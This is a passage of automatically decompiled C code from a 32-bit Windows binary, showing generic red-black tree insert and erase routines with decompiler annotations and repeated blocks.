  7405.             v45 = *v17;
  7406.             if (v45 == v1) {
  7407.                 // 0x4086fb
  7408.                 v34 = g1178;
  7409.                 if (*(int32_t *)v45 == v34) {
  7410.                     // 0x408707
  7411.                     v48 = *(int32_t *)(v45 + 4);
  7412.                     // branch -> 0x40871e
  7413.                 } else {
  7414.                     // 0x40870c
  7415.                     v40 = v6;
  7416.                     v46 = *(int32_t *)(v40 + 8);
  7417.                     if (v46 != v34) {
  7418.                         v25 = v46;
  7419.                         v47 = *(int32_t *)(v25 + 8);
  7420.                         while (v47 != v34) {
  7421.                             // 0x408715
  7422.                             v25 = v47;
  7423.                             v47 = *(int32_t *)(v25 + 8);
  7424.                             // continue -> 0x408715
  7425.                         }
  7426.                         // 0x40871e
  7427.                         v48 = v25;
  7428.                         // branch -> 0x40871e
  7429.                     } else {
  7430.                         v48 = v40;
  7431.                     }
  7432.                 }
  7433.                 // 0x40871e
  7434.                 *v17 = v48;
  7435.                 // branch -> 0x408721
  7436.             }
  7437.             // 0x408721
  7438.             v9 = v2;
  7439.             v41 = g6;
  7440.             v20 = v37;
  7441.             // branch -> 0x408725
  7442.         } else {
  7443.             // 0x408631
  7444.             *(int32_t *)(*(int32_t *)v27 + 4) = v37;
  7445.             *(int32_t *)g6 = *(int32_t *)v1;
  7446.             v28 = *(int32_t *)v8;
  7447.             v21 = g6;
  7448.             if (v21 == v28) {
  7449.                 // 0x408640
  7450.                 *(int32_t *)(v6 + 4) = v28;
  7451.                 // branch -> 0x40865a
  7452.             } else {
  7453.                 // 0x408645
  7454.                 *(int32_t *)(v6 + 4) = *(int32_t *)(v21 + 4);
  7455.                 *(int32_t *)*(int32_t *)(g6 + 4) = v6;
  7456.                 *(int32_t *)v9 = *(int32_t *)v8;
  7457.                 *(int32_t *)(*(int32_t *)v8 + 4) = g6;
  7458.                 // branch -> 0x40865a
  7459.             }
  7460.             // 0x40865a
  7461.             v42 = v2;
  7462.             v9 = v42;
  7463.             v11 = (int32_t *)(*(int32_t *)(v42 + 4) + 4);
  7464.             v53 = v1;
  7465.             if (*v11 == v53) {
  7466.                 // 0x408666
  7467.                 *v11 = g6;
  7468.                 // branch -> 0x408679
  7469.             } else {
  7470.                 // 0x40866b
  7471.                 v43 = *(int32_t *)(v53 + 4);
  7472.                 v12 = (int32_t *)v43;
  7473.                 if (*v12 == v53) {
  7474.                     // 0x408672
  7475.                     *v12 = g6;
  7476.                     // branch -> 0x408679
  7477.                 } else {
  7478.                     // 0x408676
  7479.                     *(int32_t *)(v43 + 8) = g6;
  7480.                     // branch -> 0x408679
  7481.                 }
  7482.                 // 0x408679
  7483.                 v36 = v1;
  7484.                 *(int32_t *)(g6 + 4) = *(int32_t *)(v36 + 4);
  7485.                 v13 = (int32_t *)(g6 + 20);
  7486.                 *v13 = *(int32_t *)(v1 + 20);
  7487.                 *(int32_t *)(v1 + 20) = *v13;
  7488.                 v22 = v1;
  7489.                 g6 = v22;
  7490.                 v20 = v36;
  7491.                 // branch -> 0x408725
  7492.                 // 0x408725
  7493.                 v8 = 1;
  7494.                 if (*(int32_t *)(v22 + 20) == 1) {
  7495.                     // 0x408735
  7496.                     v49 = *(int32_t *)(v9 + 4);
  7497.                     g6 = v49;
  7498.                     v50 = v6;
  7499.                     if (v50 != *(int32_t *)(v49 + 4)) {
  7500.                         // 0x408741
  7501.                         v1 = 0;
  7502.                         if (*(int32_t *)(v50 + 20) == 1) {
  7503.                             v26 = v50;
  7504.                             v52 = 1;
  7505.                             while (true) {
  7506.                                 // 0x40874c
  7507.                                 v51 = *(int32_t *)(v26 + 4);
  7508.                                 v35 = *(int32_t *)v51;
  7509.                                 v18 = v35;
  7510.                                 if (v26 == v35) {
  7511.                                     goto lab_0x408755_9;
  7512.                                 }
  7513.                                 goto lab_0x4087c3_9;
  7514.                             }
  7515.                         }
  7516.                         // 0x40899a
  7517.                         // branch -> 0x40899a
  7518.                     }
  7519.                     // Detected a possible infinite recursion (goto support failed); quitting...
  7520.                 }
  7521.                 // Detected a possible infinite recursion (goto support failed); quitting...
  7522.             }
  7523.             // 0x408679
  7524.             v36 = v1;
  7525.             *(int32_t *)(g6 + 4) = *(int32_t *)(v36 + 4);
  7526.             v13 = (int32_t *)(g6 + 20);
  7527.             *v13 = *(int32_t *)(v1 + 20);
  7528.             *(int32_t *)(v1 + 20) = *v13;
  7529.             v22 = v1;
  7530.             g6 = v22;
  7531.             v41 = v22;
  7532.             v20 = v36;
  7533.             // branch -> 0x408725
  7534.         }
  7535.         // 0x408725
  7536.         v8 = 1;
  7537.         if (*(int32_t *)(v41 + 20) == 1) {
  7538.             // 0x408735
  7539.             v49 = *(int32_t *)(v9 + 4);
  7540.             g6 = v49;
  7541.             v50 = v6;
  7542.             if (v50 != *(int32_t *)(v49 + 4)) {
  7543.                 // 0x408741
  7544.                 v1 = 0;
  7545.                 if (*(int32_t *)(v50 + 20) == 1) {
  7546.                     v26 = v50;
  7547.                     v52 = 1;
  7548.                     while (true) {
  7549.                         // 0x40874c
  7550.                         v51 = *(int32_t *)(v26 + 4);
  7551.                         v35 = *(int32_t *)v51;
  7552.                         v18 = v35;
  7553.                         if (v26 == v35) {
  7554.                             goto lab_0x408755_9;
  7555.                         }
  7556.                         goto lab_0x4087c3_9;
  7557.                     }
  7558.                 }
  7559.                 // 0x40899a
  7560.                 // branch -> 0x40899a
  7561.             }
  7562.             // Detected a possible infinite recursion (goto support failed); quitting...
  7563.         }
  7564.         // Detected a possible infinite recursion (goto support failed); quitting...
  7565.     }
  7566.     // 0x40861f
  7567.     _qm__qm_0_Lockit_std__QAE_XZ();
  7568.     g6 = v37;
  7569.     v27 = v1;
  7570.     if (v37 == v27) {
  7571.         // 0x408696
  7572.         v19 = v2;
  7573.         *(int32_t *)(v6 + 4) = *(int32_t *)(v37 + 4);
  7574.         v14 = (int32_t *)(*(int32_t *)(v19 + 4) + 4);
  7575.         v54 = v1;
  7576.         if (*v14 == v54) {
  7577.             // 0x4086a8
  7578.             *v14 = v6;
  7579.             // branch -> 0x4086bb
  7580.         } else {
  7581.             // 0x4086ad
  7582.             v44 = *(int32_t *)(v54 + 4);
  7583.             v15 = (int32_t *)v44;
  7584.             if (*v15 == v54) {
  7585.                 // 0x4086b4
  7586.                 *v15 = v6;
  7587.                 // branch -> 0x4086bb
  7588.             } else {
  7589.                 // 0x4086b8
  7590.                 *(int32_t *)(v44 + 8) = v6;
  7591.                 // branch -> 0x4086bb
  7592.             }
  7593.             // 0x4086bb
  7594.             v38 = v19;
  7595.             v16 = (int32_t *)*(int32_t *)(v38 + 4);
  7596.             v29 = *v16;
  7597.             v39 = v38;
  7598.             if (v29 == v1) {
  7599.                 // 0x4086c6
  7600.                 v30 = g1178;
  7601.                 if (*(int32_t *)v8 == v30) {
  7602.                     // 0x4086d0
  7603.                     *v16 = *(int32_t *)(v29 + 4);
  7604.                     v39 = v19;
  7605.                     // branch -> 0x4086f3
  7606.                 } else {
  7607.                     // 0x4086d7
  7608.                     v23 = v6;
  7609.                     v31 = *(int32_t *)v23;
  7610.                     v33 = v23;
  7611.                     if (v31 != v30) {
  7612.                         // 0x4086df
  7613.                         v24 = v31;
  7614.                         v32 = *(int32_t *)v24;
  7615.                         // branch -> 0x4086e1
  7616.                         while (v32 != v30) {
  7617.                             // 0x4086e1
  7618.                             v24 = v32;
  7619.                             v32 = *(int32_t *)v24;
  7620.                             // continue -> 0x4086e1
  7621.                         }
  7622.                         // 0x4086e9
  7623.                         v33 = v24;
  7624.                         // branch -> 0x4086ed
  7625.                     }
  7626.                     // 0x4086ed
  7627.                     *v16 = v33;
  7628.                     v39 = v2;
  7629.                     // branch -> 0x4086f3
  7630.                 }
  7631.                 // 0x4086f3
  7632.                 v17 = (int32_t *)(*(int32_t *)(v39 + 4) + 8);
  7633.                 v45 = *v17;
  7634.                 if (v45 == v1) {
  7635.                     // 0x4086fb
  7636.                     v34 = g1178;
  7637.                     if (*(int32_t *)v45 == v34) {
  7638.                         // 0x408707
  7639.                         v48 = *(int32_t *)(v45 + 4);
  7640.                         // branch -> 0x40871e
  7641.                     } else {
  7642.                         // 0x40870c
  7643.                         v40 = v6;
  7644.                         v46 = *(int32_t *)(v40 + 8);
  7645.                         if (v46 != v34) {
  7646.                             v25 = v46;
  7647.                             v47 = *(int32_t *)(v25 + 8);
  7648.                             while (v47 != v34) {
  7649.                                 // 0x408715
  7650.                                 v25 = v47;
  7651.                                 v47 = *(int32_t *)(v25 + 8);
  7652.                                 // continue -> 0x408715
  7653.                             }
  7654.                             // 0x40871e
  7655.                             v48 = v25;
  7656.                             // branch -> 0x40871e
  7657.                         } else {
  7658.                             v48 = v40;
  7659.                         }
  7660.                     }
  7661.                     // 0x40871e
  7662.                     *v17 = v48;
  7663.                     // branch -> 0x408721
  7664.                 }
  7665.                 // 0x408721
  7666.                 v9 = v2;
  7667.                 v20 = v37;
  7668.                 // branch -> 0x408725
  7669.                 // 0x408725
  7670.                 v8 = 1;
  7671.                 if (*(int32_t *)(g6 + 20) == 1) {
  7672.                     // 0x408735
  7673.                     v49 = *(int32_t *)(v9 + 4);
  7674.                     g6 = v49;
  7675.                     v50 = v6;
  7676.                     if (v50 != *(int32_t *)(v49 + 4)) {
  7677.                         // 0x408741
  7678.                         v1 = 0;
  7679.                         if (*(int32_t *)(v50 + 20) == 1) {
  7680.                             v26 = v50;
  7681.                             v52 = 1;
  7682.                             while (true) {
  7683.                                 // 0x40874c
  7684.                                 v51 = *(int32_t *)(v26 + 4);
  7685.                                 v35 = *(int32_t *)v51;
  7686.                                 v18 = v35;
  7687.                                 if (v26 == v35) {
  7688.                                     goto lab_0x408755_9;
  7689.                                 }
  7690.                                 goto lab_0x4087c3_9;
  7691.                             }
  7692.                         }
  7693.                         // 0x40899a
  7694.                         // branch -> 0x40899a
  7695.                     }
  7696.                     // Detected a possible infinite recursion (goto support failed); quitting...
  7697.                 }
  7698.                 // Detected a possible infinite recursion (goto support failed); quitting...
  7699.             }
  7700.             // 0x4086f3
  7701.             v17 = (int32_t *)(*(int32_t *)(v39 + 4) + 8);
  7702.             v45 = *v17;
  7703.             if (v45 == v1) {
  7704.                 // 0x4086fb
  7705.                 v34 = g1178;
  7706.                 if (*(int32_t *)v45 == v34) {
  7707.                     // 0x408707
  7708.                     v48 = *(int32_t *)(v45 + 4);
  7709.                     // branch -> 0x40871e
  7710.                 } else {
  7711.                     // 0x40870c
  7712.                     v40 = v6;
  7713.                     v46 = *(int32_t *)(v40 + 8);
  7714.                     if (v46 != v34) {
  7715.                         v25 = v46;
  7716.                         v47 = *(int32_t *)(v25 + 8);
  7717.                         while (v47 != v34) {
  7718.                             // 0x408715
  7719.                             v25 = v47;
  7720.                             v47 = *(int32_t *)(v25 + 8);
  7721.                             // continue -> 0x408715
  7722.                         }
  7723.                         // 0x40871e
  7724.                         v48 = v25;
  7725.                         // branch -> 0x40871e
  7726.                     } else {
  7727.                         v48 = v40;
  7728.                     }
  7729.                 }
  7730.                 // 0x40871e
  7731.                 *v17 = v48;
  7732.                 // branch -> 0x408721
  7733.             }
  7734.             // 0x408721
  7735.             v9 = v2;
  7736.             v20 = v37;
  7737.             // branch -> 0x408725
  7738.             // 0x408725
  7739.             v8 = 1;
  7740.             if (*(int32_t *)(g6 + 20) == 1) {
  7741.                 // 0x408735
  7742.                 v49 = *(int32_t *)(v9 + 4);
  7743.                 g6 = v49;
  7744.                 v50 = v6;
  7745.                 if (v50 != *(int32_t *)(v49 + 4)) {
  7746.                     // 0x408741
  7747.                     v1 = 0;
  7748.                     if (*(int32_t *)(v50 + 20) == 1) {
  7749.                         v26 = v50;
  7750.                         v52 = 1;
  7751.                         while (true) {
  7752.                             // 0x40874c
  7753.                             v51 = *(int32_t *)(v26 + 4);
  7754.                             v35 = *(int32_t *)v51;
  7755.                             v18 = v35;
  7756.                             if (v26 == v35) {
  7757.                                 goto lab_0x408755_9;
  7758.                             }
  7759.                             goto lab_0x4087c3_9;
  7760.                         }
  7761.                     }
  7762.                     // 0x40899a
  7763.                     // branch -> 0x40899a
  7764.                 }
  7765.                 // Detected a possible infinite recursion (goto support failed); quitting...
  7766.             }
  7767.             // Detected a possible infinite recursion (goto support failed); quitting...
  7768.         }
  7769.         // 0x4086bb
  7770.         v38 = v19;
  7771.         v16 = (int32_t *)*(int32_t *)(v38 + 4);
  7772.         v29 = *v16;
  7773.         v39 = v38;
  7774.         if (v29 == v1) {
  7775.             // 0x4086c6
  7776.             v30 = g1178;
  7777.             if (*(int32_t *)v8 == v30) {
  7778.                 // 0x4086d0
  7779.                 *v16 = *(int32_t *)(v29 + 4);
  7780.                 v39 = v19;
  7781.                 // branch -> 0x4086f3
  7782.             } else {
  7783.                 // 0x4086d7
  7784.                 v23 = v6;
  7785.                 v31 = *(int32_t *)v23;
  7786.                 v33 = v23;
  7787.                 if (v31 != v30) {
  7788.                     // 0x4086df
  7789.                     v24 = v31;
  7790.                     v32 = *(int32_t *)v24;
  7791.                     // branch -> 0x4086e1
  7792.                     while (v32 != v30) {
  7793.                         // 0x4086e1
  7794.                         v24 = v32;
  7795.                         v32 = *(int32_t *)v24;
  7796.                         // continue -> 0x4086e1
  7797.                     }
  7798.                     // 0x4086e9
  7799.                     v33 = v24;
  7800.                     // branch -> 0x4086ed
  7801.                 }
  7802.                 // 0x4086ed
  7803.                 *v16 = v33;
  7804.                 v39 = v2;
  7805.                 // branch -> 0x4086f3
  7806.             }
  7807.             // 0x4086f3
  7808.             v17 = (int32_t *)(*(int32_t *)(v39 + 4) + 8);
  7809.             v45 = *v17;
  7810.             if (v45 == v1) {
  7811.                 // 0x4086fb
  7812.                 v34 = g1178;
  7813.                 if (*(int32_t *)v45 == v34) {
  7814.                     // 0x408707
  7815.                     v48 = *(int32_t *)(v45 + 4);
  7816.                     // branch -> 0x40871e
  7817.                 } else {
  7818.                     // 0x40870c
  7819.                     v40 = v6;
  7820.                     v46 = *(int32_t *)(v40 + 8);
  7821.                     if (v46 != v34) {
  7822.                         v25 = v46;
  7823.                         v47 = *(int32_t *)(v25 + 8);
  7824.                         while (v47 != v34) {
  7825.                             // 0x408715
  7826.                             v25 = v47;
  7827.                             v47 = *(int32_t *)(v25 + 8);
  7828.                             // continue -> 0x408715
  7829.                         }
  7830.                         // 0x40871e
  7831.                         v48 = v25;
  7832.                         // branch -> 0x40871e
  7833.                     } else {
  7834.                         v48 = v40;
  7835.                     }
  7836.                 }
  7837.                 // 0x40871e
  7838.                 *v17 = v48;
  7839.                 // branch -> 0x408721
  7840.             }
  7841.             // 0x408721
  7842.             v9 = v2;
  7843.             v20 = v37;
  7844.             // branch -> 0x408725
  7845.             // 0x408725
  7846.             v8 = 1;
  7847.             if (*(int32_t *)(g6 + 20) == 1) {
  7848.                 // 0x408735
  7849.                 v49 = *(int32_t *)(v9 + 4);
  7850.                 g6 = v49;
  7851.                 v50 = v6;
  7852.                 if (v50 != *(int32_t *)(v49 + 4)) {
  7853.                     // 0x408741
  7854.                     v1 = 0;
  7855.                     if (*(int32_t *)(v50 + 20) == 1) {
  7856.                         v26 = v50;
  7857.                         v52 = 1;
  7858.                         while (true) {
  7859.                             // 0x40874c
  7860.                             v51 = *(int32_t *)(v26 + 4);
  7861.                             v35 = *(int32_t *)v51;
  7862.                             v18 = v35;
  7863.                             if (v26 == v35) {
  7864.                                 goto lab_0x408755_9;
  7865.                             }
  7866.                             goto lab_0x4087c3_9;
  7867.                         }
  7868.                     }
  7869.                     // 0x40899a
  7870.                     // branch -> 0x40899a
  7871.                 }
  7872.                 // Detected a possible infinite recursion (goto support failed); quitting...
  7873.             }
  7874.             // Detected a possible infinite recursion (goto support failed); quitting...
  7875.         }
  7876.         // 0x4086f3
  7877.         v17 = (int32_t *)(*(int32_t *)(v39 + 4) + 8);
  7878.         v45 = *v17;
  7879.         if (v45 == v1) {
  7880.             // 0x4086fb
  7881.             v34 = g1178;
  7882.             if (*(int32_t *)v45 == v34) {
  7883.                 // 0x408707
  7884.                 v48 = *(int32_t *)(v45 + 4);
  7885.                 // branch -> 0x40871e
  7886.             } else {
  7887.                 // 0x40870c
  7888.                 v40 = v6;
  7889.                 v46 = *(int32_t *)(v40 + 8);
  7890.                 if (v46 != v34) {
  7891.                     v25 = v46;
  7892.                     v47 = *(int32_t *)(v25 + 8);
  7893.                     while (v47 != v34) {
  7894.                         // 0x408715
  7895.                         v25 = v47;
  7896.                         v47 = *(int32_t *)(v25 + 8);
  7897.                         // continue -> 0x408715
  7898.                     }
  7899.                     // 0x40871e
  7900.                     v48 = v25;
  7901.                     // branch -> 0x40871e
  7902.                 } else {
  7903.                     v48 = v40;
  7904.                 }
  7905.             }
  7906.             // 0x40871e
  7907.             *v17 = v48;
  7908.             // branch -> 0x408721
  7909.         }
  7910.         // 0x408721
  7911.         v9 = v2;
  7912.         v41 = g6;
  7913.         v20 = v37;
  7914.         // branch -> 0x408725
  7915.     } else {
  7916.         // 0x408631
  7917.         *(int32_t *)(*(int32_t *)v27 + 4) = v37;
  7918.         *(int32_t *)g6 = *(int32_t *)v1;
  7919.         v28 = *(int32_t *)v8;
  7920.         v21 = g6;
  7921.         if (v21 == v28) {
  7922.             // 0x408640
  7923.             *(int32_t *)(v6 + 4) = v28;
  7924.             // branch -> 0x40865a
  7925.         } else {
  7926.             // 0x408645
  7927.             *(int32_t *)(v6 + 4) = *(int32_t *)(v21 + 4);
  7928.             *(int32_t *)*(int32_t *)(g6 + 4) = v6;
  7929.             *(int32_t *)v9 = *(int32_t *)v8;
  7930.             *(int32_t *)(*(int32_t *)v8 + 4) = g6;
  7931.             // branch -> 0x40865a
  7932.         }
  7933.         // 0x40865a
  7934.         v42 = v2;
  7935.         v9 = v42;
  7936.         v11 = (int32_t *)(*(int32_t *)(v42 + 4) + 4);
  7937.         v53 = v1;
  7938.         if (*v11 == v53) {
  7939.             // 0x408666
  7940.             *v11 = g6;
  7941.             // branch -> 0x408679
  7942.         } else {
  7943.             // 0x40866b
  7944.             v43 = *(int32_t *)(v53 + 4);
  7945.             v12 = (int32_t *)v43;
  7946.             if (*v12 == v53) {
  7947.                 // 0x408672
  7948.                 *v12 = g6;
  7949.                 // branch -> 0x408679
  7950.             } else {
  7951.                 // 0x408676
  7952.                 *(int32_t *)(v43 + 8) = g6;
  7953.                 // branch -> 0x408679
  7954.             }
  7955.             // 0x408679
  7956.             v36 = v1;
  7957.             *(int32_t *)(g6 + 4) = *(int32_t *)(v36 + 4);
  7958.             v13 = (int32_t *)(g6 + 20);
  7959.             *v13 = *(int32_t *)(v1 + 20);
  7960.             *(int32_t *)(v1 + 20) = *v13;
  7961.             v22 = v1;
  7962.             g6 = v22;
  7963.             v20 = v36;
  7964.             // branch -> 0x408725
  7965.             // 0x408725
  7966.             v8 = 1;
  7967.             if (*(int32_t *)(v22 + 20) == 1) {
  7968.                 // 0x408735
  7969.                 v49 = *(int32_t *)(v9 + 4);
  7970.                 g6 = v49;
  7971.                 v50 = v6;
  7972.                 if (v50 != *(int32_t *)(v49 + 4)) {
  7973.                     // 0x408741
  7974.                     v1 = 0;
  7975.                     if (*(int32_t *)(v50 + 20) == 1) {
  7976.                         v26 = v50;
  7977.                         v52 = 1;
  7978.                         while (true) {
  7979.                             // 0x40874c
  7980.                             v51 = *(int32_t *)(v26 + 4);
  7981.                             v35 = *(int32_t *)v51;
  7982.                             v18 = v35;
  7983.                             if (v26 == v35) {
  7984.                                 goto lab_0x408755_9;
  7985.                             }
  7986.                             goto lab_0x4087c3_9;
  7987.                         }
  7988.                     }
  7989.                     // 0x40899a
  7990.                     // branch -> 0x40899a
  7991.                 }
  7992.                 // Detected a possible infinite recursion (goto support failed); quitting...
  7993.             }
  7994.             // Detected a possible infinite recursion (goto support failed); quitting...
  7995.         }
  7996.         // 0x408679
  7997.         v36 = v1;
  7998.         *(int32_t *)(g6 + 4) = *(int32_t *)(v36 + 4);
  7999.         v13 = (int32_t *)(g6 + 20);
  8000.         *v13 = *(int32_t *)(v1 + 20);
  8001.         *(int32_t *)(v1 + 20) = *v13;
  8002.         v22 = v1;
  8003.         g6 = v22;
  8004.         v41 = v22;
  8005.         v20 = v36;
  8006.         // branch -> 0x408725
  8007.     }
  8008.     // 0x408725
  8009.     v8 = 1;
  8010.     if (*(int32_t *)(v41 + 20) == 1) {
  8011.         // 0x408735
  8012.         v49 = *(int32_t *)(v9 + 4);
  8013.         g6 = v49;
  8014.         v50 = v6;
  8015.         if (v50 != *(int32_t *)(v49 + 4)) {
  8016.             // 0x408741
  8017.             v1 = 0;
  8018.             if (*(int32_t *)(v50 + 20) == 1) {
  8019.                 v26 = v50;
  8020.                 v52 = 1;
  8021.                 while (true) {
  8022.                     // 0x40874c
  8023.                     v51 = *(int32_t *)(v26 + 4);
  8024.                     v35 = *(int32_t *)v51;
  8025.                     v18 = v35;
  8026.                     if (v26 == v35) {
  8027.                         goto lab_0x408755_9;
  8028.                     }
  8029.                     goto lab_0x4087c3_9;
  8030.                 }
  8031.             }
  8032.             // 0x40899a
  8033.             // branch -> 0x40899a
  8034.         }
  8035.         // Detected a possible infinite recursion (goto support failed); quitting...
  8036.     }
  8037.     // Detected a possible infinite recursion (goto support failed); quitting...
  8038. }
  8039.  
  8040. // Address range: 0x4089d0 - 0x408a0f
  8041. int32_t function_4089d0(int32_t * a1, int32_t a2) {
  8042.     int32_t result = (int32_t)a1;
  8043.     int32_t v1 = g3; // 0x4089d5
  8044.     int32_t v2 = g7; // 0x4089d6
  8045.     int32_t v3 = g5; // 0x4089d7
  8046.     int32_t v4 = v3; // bp-12
  8047.     g5 = result;
  8048.     int32_t v5 = g4; // 0x4089dc
  8049.     g3 = v5;
  8050.     g7 = result;
  8051.     if (result == g1178) {
  8052.         // 0x408a05
  8053.         g5 = v3;
  8054.         g7 = v2;
  8055.         g3 = v1;
  8056.         return result;
  8057.     }
  8058.     // branch -> 0x4089e4
  8059.     while (true) {
  8060.         // 0x4089e4
  8061.         g4 = v5;
  8062.         g1 = function_4089d0((int32_t *)*(int32_t *)(result + 8), v3);
  8063.         g7 = *(int32_t *)g7;
  8064.         function_4097fe((char *)g5);
  8065.         int32_t v6 = g7; // 0x4089ff
  8066.         g5 = v6;
  8067.         if (v6 == g1178) {
  8068.             // 0x408a05
  8069.             // branch -> 0x408a05
  8070.             // 0x408a05
  8071.             g5 = v4;
  8072.             g7 = v2;
  8073.             g3 = v1;
  8074.             return g1178;
  8075.         }
  8076.         // 0x4089e4
  8077.         v3 = v4;
  8078.         v5 = g3;
  8079.         result = v6;
  8080.         // branch -> 0x4089e4
  8081.     }
  8082. }
  8083.  
  8084. // Address range: 0x408a10 - 0x408a5f
  8085. int32_t function_408a10(int32_t a1) {
  8086.     int32_t * v1 = (int32_t *)g4; // 0x408a10_0
  8087.     int32_t v2 = *v1; // 0x408a10
  8088.     int32_t v3 = g7; // bp-4
  8089.     int32_t v4 = *(int32_t *)(v2 + 8); // 0x408a19
  8090.     if (v4 != g1178) {
  8091.         int32_t v5 = *(int32_t *)v4; // 0x408a20
  8092.         g1 = v5;
  8093.         if (v5 == g1178) {
  8094.             // 0x408a2e
  8095.             *v1 = v4;
  8096.             g7 = v3;
  8097.             return g1;
  8098.         }
  8099.         int32_t v6 = *(int32_t *)v5; // 0x408a28
  8100.         g1 = v6;
  8101.         while (v6 != g1178) {
  8102.             // 0x408a26
  8103.             v5 = v6;
  8104.             v6 = *(int32_t *)v5;
  8105.             g1 = v6;
  8106.             // continue -> 0x408a26
  8107.         }
  8108.         // 0x408a2e
  8109.         // branch -> 0x408a2e
  8110.         // 0x408a2e
  8111.         *v1 = v5;
  8112.         g7 = v3;
  8113.         return g1;
  8114.     }
  8115.     int32_t v7 = *(int32_t *)(v2 + 4); // 0x408a32
  8116.     g1 = v7;
  8117.     int32_t v8 = v7; // 0x408a4f
  8118.     if (*v1 == *(int32_t *)(v7 + 8)) {
  8119.         *(int32_t *)g4 = v7;
  8120.         int32_t v9 = *(int32_t *)(g1 + 4); // 0x408a3e
  8121.         g1 = v9;
  8122.         while (*(int32_t *)g4 == *(int32_t *)(v9 + 8)) {
  8123.             // 0x408a3c
  8124.             *(int32_t *)g4 = v9;
  8125.             v9 = *(int32_t *)(g1 + 4);
  8126.             g1 = v9;
  8127.             // continue -> 0x408a3c
  8128.         }
  8129.         // 0x408a48
  8130.         v8 = v9;
  8131.         // branch -> 0x408a48
  8132.     }
  8133.     int32_t * v10 = (int32_t *)g4; // 0x408a48_0
  8134.     int32_t result; // 0x408a52_2
  8135.     if (*(int32_t *)(*v10 + 8) != v8) {
  8136.         // 0x408a4f
  8137.         *v10 = v8;
  8138.         result = g1;
  8139.         // branch -> 0x408a51
  8140.     } else {
  8141.         result = v8;
  8142.     }
  8143.     // 0x408a51
  8144.     g7 = v3;
  8145.     return result;
  8146. }
  8147.  
  8148. // Address range: 0x408a60 - 0x408ccf
  8149. int32_t function_408a60(int32_t * a1, int32_t a2, int32_t * a3, int32_t * a4, int32_t a5, int32_t a6) {
  8150.     int32_t result = (int32_t)a1;
  8151.     int32_t v1 = (int32_t)a3;
  8152.     int32_t v2 = g4; // ebx
  8153.     _qm__qm_2_YAPAXI_Z(24);
  8154.     int32_t v3 = v1; // esi
  8155.     *(int32_t *)(g1 + 4) = v1;
  8156.     *(int32_t *)(g1 + 20) = 0;
  8157.     *(int32_t *)g1 = g1178;
  8158.     *(int32_t *)(g1 + 8) = g1178;
  8159.     function_408e30((int32_t *)(g1 + 12), a4);
  8160.     int32_t * v4 = (int32_t *)(v2 + 12); // 0x408a9c_0
  8161.     *v4 = *v4 + 1;
  8162.     int32_t * v5; // 0x408ae8_0
  8163.     int32_t * v6; // 0x408b01_0
  8164.     int32_t v7; // eax
  8165.     int32_t v8; // edi
  8166.     int32_t v9; // 0x408ad9
  8167.     int32_t v10; // 0x408af1
  8168.     int32_t v11; // 0x408aee
  8169.     int32_t v12; // 0x408ad6
  8170.     int32_t v13; // 0x408afc
  8171.     int32_t v14; // 0x408b3e
  8172.     if (v3 != *(int32_t *)(v2 + 4)) {
  8173.         // 0x408aad
  8174.         if (g1178 == a2) {
  8175.             // 0x408abb
  8176.             if (*(int32_t *)(int32_t)a4 >= *(int32_t *)(v3 + 12)) {
  8177.                 // 0x408ac4
  8178.                 *(int32_t *)(v3 + 8) = g1;
  8179.                 int32_t * v15 = (int32_t *)(*(int32_t *)(v2 + 4) + 8); // 0x408aca_0
  8180.                 if (v3 == *v15) {
  8181.                     // 0x408acf
  8182.                     *v15 = g1;
  8183.                     // branch -> 0x408aee
  8184.                 }
  8185.                 // 0x408aee
  8186.                 v11 = v2;
  8187.                 v10 = g1;
  8188.                 v7 = v10;
  8189.                 if (v10 == *(int32_t *)(*(int32_t *)(v11 + 4) + 4)) {
  8190.                     // 0x408cab
  8191.                     *(int32_t *)(*(int32_t *)(*(int32_t *)(v11 + 4) + 4) + 20) = 1;
  8192.                     *a1 = g1;
  8193.                     return result;
  8194.                 }
  8195.                 int32_t v16 = v11; // 0x408cab41
  8196.                 v14 = v10;
  8197.                 int32_t v17; // 0x408c9f
  8198.                 while (true) {
  8199.                     // 0x408afc
  8200.                     v13 = *(int32_t *)(v14 + 4);
  8201.                     v8 = 0;
  8202.                     v6 = (int32_t *)(v13 + 20);
  8203.                     int32_t v18 = v16; // 0x408cab40
  8204.                     if (*v6 == 0) {
  8205.                       lab_0x408b0a_2:;
  8206.                         int32_t v19 = *(int32_t *)(v13 + 4); // 0x408b0a
  8207.                         int32_t v20 = *(int32_t *)v19; // 0x408b0d
  8208.                         int32_t v21 = v20; // edx
  8209.                         int32_t v22; // ecx
  8210.                         int32_t v23; // 0x408b36
  8211.                         int32_t v24; // 0x408c9f
  8212.                         int32_t v25; // 0x408ca2
  8213.                         if (v13 == v20) {
  8214.                             int32_t v26 = *(int32_t *)(v19 + 8); // 0x408b17
  8215.                             v21 = v26;
  8216.                             if (*(int32_t *)(v26 + 20) == 0) {
  8217.                                 // 0x408b1f
  8218.                                 *v6 = 1;
  8219.                                 *(int32_t *)(v21 + 20) = 1;
  8220.                                 int32_t v27 = *(int32_t *)(v7 + 4); // 0x408b2a
  8221.                                 *(int32_t *)(*(int32_t *)(v27 + 4) + 20) = v8;
  8222.                                 v23 = *(int32_t *)(*(int32_t *)(v7 + 4) + 4);
  8223.                                 v7 = v23;
  8224.                                 // branch -> 0x408c9f
  8225.                             } else {
  8226.                                 int32_t * v28 = (int32_t *)(v13 + 8); // 0x408b3e_0
  8227.                                 int32_t v29 = v14; // 0x408b80
  8228.                                 int32_t * v30; // 0x408b99_0
  8229.                                 int32_t v31; // 0x408b99
  8230.                                 int32_t v32; // 0x408ba0
  8231.                                 int32_t v33; // 0x408bb1
  8232.                                 int32_t v34; // 0x408b8a
  8233.                                 int32_t v35; // 0x408b96
  8234.                                 int32_t v36; // 0x408ba0
  8235.                                 if (v14 == *v28) {
  8236.                                     // 0x408b43
  8237.                                     v7 = v13;
  8238.                                     int32_t v37 = *v28; // 0x408b45
  8239.                                     v22 = v37;
  8240.                                     *v28 = *(int32_t *)v37;
  8241.                                     int32_t v38 = *(int32_t *)v22; // 0x408b4d
  8242.                                     if (v38 != g1178) {
  8243.                                         // 0x408b57
  8244.                                         *(int32_t *)(v38 + 4) = v7;
  8245.                                         // branch -> 0x408b5a
  8246.                                     }
  8247.                                     // 0x408b5a
  8248.                                     *(int32_t *)(v22 + 4) = *(int32_t *)(v7 + 4);
  8249.                                     int32_t v39 = v7; // 0x408b63
  8250.                                     int32_t * v40 = (int32_t *)(*(int32_t *)(v2 + 4) + 4); // 0x408b63_0
  8251.                                     int32_t v41;
  8252.                                     if (v39 == *v40) {
  8253.                                         // 0x408b68
  8254.                                         *v40 = v22;
